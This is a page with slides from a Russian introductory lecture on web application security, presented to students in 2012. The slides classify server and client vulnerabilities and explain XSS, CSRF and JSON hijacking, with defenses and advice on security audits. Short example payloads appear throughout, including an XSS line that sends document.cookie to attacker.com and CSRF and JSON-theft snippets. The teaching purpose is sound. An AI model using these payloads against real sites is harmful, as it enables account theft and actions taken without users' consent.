Upload
ivan-novikov
View
2.743
Download
3
Embed Size (px)
DESCRIPTION
Вводный доклад на тему информационной безопасности веб-приложений. Лекция ставит целью ознакомить слушателей с основными информационными угрозами современных интернет-проектов. Приводятся самые распространенные типы уязвимостей, общая классификация, причины их появления, примеры. В качестве демонстрации уровней угрозы тех или иных уязвимостей будут представлены типичные сценарии атак. В завершении доклада будут даны общие рекомендации по обеспечению безопасности веб-приложений. Все представленные материалы основаны реальном на опыте проведения аудитов безопасности веб-приложений в 2009-2012гг.
Citation preview
Безопасность современных веб-приложений: основы
Вводная лекция для студентовМосква, МИФИ 18/02/2012
Веб и программное обеспечение• Для обозначения Всемирной паутины также
используют слово «веб» (англ. web) и аббревиатуру «WWW».
• Распределенная с-ма, предоставляющая доступ к связанным между собой документам, расположенным на различных компьютерах, подключенных к Интернету
• Веб-приложение — клиент-серверное приложение, в котором клиентом выступает браузер, а сервером — веб-сервер. Логика веб-приложения распределена между сервером и клиентом, хранение данных осуществляется, преимущественно, на сервере, обмен информацией происходит по сети
Безопасность веб-приложений
• Процесс обеспечения защиты веб-приложений от несанкционированного доступа:
• Организационные меры и политики (сильные пароли, их ротация, осведомленность пользователей)
• Администрирование и настройка ПО (обновление версий, ограничения по IP)
• Поиск и устранение уязвимостей в ПО веб-приложений
• Поиск и устранение уязвимостей в сопутствующем ПО (веб-сервер, сервер СУБД, проч.)
Архитектура веб-приложений
Сервер (аппаратная часть)
Операционная система
Операционная система
Веб-сервер
Веб-сервер
База данных
База данных
Веб- приложение
Веб- приложение
Браузер
(Пользователь)
Браузер
(Пользователь)
Уязвимости и атаки
• Уязвимость – ошибка ПО, позволяющая получить несанкционированный доступ
• Атака – процесс эксплуатации уязвимости. Получение НСД по средствам уязвимости.
• Атака может использовать множество различных уязвимостей, а также иные методы (соц. инженерия, слабые пароли и т.п.)
• Сценарий атаки – набор последовательности методов, приводящий к получению НСД (проведению атаки)
Классификация веб-уязвимостей• Серверные уязвимости• Клиентские уязвимости
• Различаются по типам проводимых атак• Серверные уязвимости направлены на
получение данных с сервера напрямую• Клиентские уязвимости направлены на
получение данных пользователя (перс. данные с сайта, данные браузера (COOKIE), проч.) или выполнение действий от имени пользователя без его ведома.
Серверные уязвимости
Серверные уязвимости - уязвимости, с помощью которых можно непосредственно совершать несанкционированные действия на сервере.Примеры: Выполнение произвольных команд операционной системы:
чтение, запись файлов, перезагрузка системы, смена пароля администратора
SQL инъекции – доступ к базе данных.
Клиентские уязвимости
Клиентские уязвимости - уязвимости, использование которых возможно только на стороне клиента (в браузере пользователя).
Использовании клиентских уязвимостей позволяет злоумышленникам:
– внедрять вредоносный html-код (java-script, iframe);
– совершать действий от лица пользователей (без их ведома);
– перенаправлять пользовательский трафик;
– Красть персональные данные и учетные записи.
Клиентские уязвимости
• Межсайтовое выполнение сценариев (XSS-Cross Site Scripting)
• Межсайтовая подделка запросов (CSRF- Cross Site Request Forgery)
• Кража JSON (JSON hijacking)
Классификация уязвимостей XSS
• Хранимые (stored, persistent);
• Отраженные (reflected, non-persistent);
• Объектные (DOM-based).
Хранимые XSS
• Изменение исходного кода страницы для всех пользователей.
Сайт
Хранимая XSS
Вредоносный запрос злоумышленника
Страница изменена!
Запрос пользователя Пользователь
Измененная страница
Злоумышленник
Отраженные XSS
• Необходимо, чтобы пользователь перешел по специально сформированной ссылке
Сайт
Отраженная XSS Пользователь
Измененная страница
Специальный запрос злоумышленника
Причины наличия XSS
Отсутствие фильтрации специальных символов HTML разметки, таких как, “ ‘ < > “ ‘ < > \\ , в параметрах, передаваемых пользователями.
http://site.ru/login.php?login=“ onfocus=alert(11)%20AUTOFOCUS%20a=“
<input name=“login” value=““ onfocus=alert(11) AUTOFOCUS a=“”/>
Динамические – Динамические – DOM-basedDOM-based XSSXSS
• Также, как и остальные XSS приводит к выполнению сценариев на странице сайта.
• Отличаются тем, что параметр уязвимый к данной атаке, может вообще не обрабатываться сервером, а только сценарием (JavaScript, Flash, PDF) в браузере пользователя.
http://site.ru/page.html#123;alert(123)
<script> eval(“loc=“+location.hash)</script>
Методы обнаружения хранимых и Методы обнаружения хранимых и отраженных XSSотраженных XSS
Что делать?1.Заходим на сайт.2.Ищем формы и GET параметры (в адресной строке после знака ?)3.Пробуем ввести в них специальные символы HTML (“ ‘ < > \ )4.Отправляем на сервер5.Смотрим на нашу страницу – что то изменилось?
Примеры атак с использованием Примеры атак с использованием XSSXSS
• Кража учетной записи пользователя:http://site.ru/?param=“><script>location=‘http://
attacker.com?’+document.cookie</script
• Размещение рекламы (кража трафика)http://site.ru/?param=“><iframe
src=‘http://attacker.com/ad-frame.html’</ifraim
Межсайтовая подделка запросов - Межсайтовая подделка запросов - CSRFCSRF
!Помним! Пользователь обменивается с сервером данными (запрос-ответ).
Необходимые условия для CSRF:– Авторизационные данные в cookie
– Веб-ресурс не требующий от пользователя подтверждения его действий
– Специально сформированный запрос
Межсайтовая подделка запросов - Межсайтовая подделка запросов - CSRFCSRF
Как работает?1.Пользователь получает ссылку на уязвимый сайт от злоумышленника2.Переходит по этой ссылке3.На сайте выполняется сценарий от лица пользователя
!НО! Пользователь может и не переходить по ссылке самостоятельно, а посетить зараженный или вредоносный сайт!
<iframe src=‘http://site.ru/sendMSG?to=Vasya&text=SPAM’ />
Межсайтовая подделка запросов - Межсайтовая подделка запросов - CSRFCSRF
Пользователь
Зараженный сайт
XSS
Запрос пользователя
Запрос на выполнениедействий от лица пользователя
Атакуемый сайт
CSRFНа сайте выполнено действие без ведома пользователя
Методы защиты и обнаружения CSRF
Веб-приложение
Пользователь
Запрос на выполнениепользовательского действия
Код подтверждения выполнения действия
Запрос на выполнение действия с кодом подтверждения
Если при выполнении пользовательский действий не происходит проверка кода подтверждения – на сайте есть уязвимость типа CSRF.
Кража JSON объектов
• Сервер и пользователь обмениваются сообщениями в формате JSON.
• На исполнение кода JavaScript не распространяется the same domain origin policy, а JSON является JavaScript кодом.
• Злоумышленник может получить данные из JSON массива с другого домена.
Кража JSON объектов
Уязвимый сайт Сайт злоумышленник
а
Посещениевредоноснойстраницы
Пользователь
Ссылка на JSON объектЗапрос JSON
объекта
JSON объект JSON
объект
Пример проведения атаки
Злоумышленник размещает на своем сайте ссылку на JSON объект уязвимого сайта:
<script src=‘http://site.ru/private_data.json’/>
Пример JSON объекта:
{"messages": { "id": “1", “from": “Vasya", “text”:”hello”}}
Методы защиты от кражи JSON
• Искажение синтаксиса JSON объекта на сервере при передаче пользователю.
• Обработка JSON объекта на странице сайта средствами JavaScript перед получением из него данных
• Пример:@"messages": { "id": “1", “from": “Vasya",
“text”:”hello”}@
Методы защиты крупных интернет Методы защиты крупных интернет проектовпроектов
• Привлечение экспертов по безопасности на этапе проектирования системы и разработки
• Проверка бета-версии • Проверка системы после готовности к
запуску и до раскрутки• Проверка нового функционала до его
внедрения
• Мониторинг и обнаружение атак
• Реагирование на новые уязвимости
Чем полезен Аудит?Чем полезен Аудит?
• Обнаружение существующих уязвимостей• Обнаружение потенциально небезопасных
мест кода• Консультации по безопасности проекта в
ходе проведения Аудита• Обнаружение ошибки логики
«Белый ящик» или «Черный ящик»
• «Черный ящик» – проверка веб-ресурса на наличие уязвимостей без исходного кода.
• «Белый ящик» - проверка веб-ресурса на наличие уязвимостей используя исходный код веб-ресурса.
• Основные отличия:– Стоимость– Полнота– Сроки
Насколько трудно взломать веб-приложение?
Спасибо!Вопросы???@[email protected]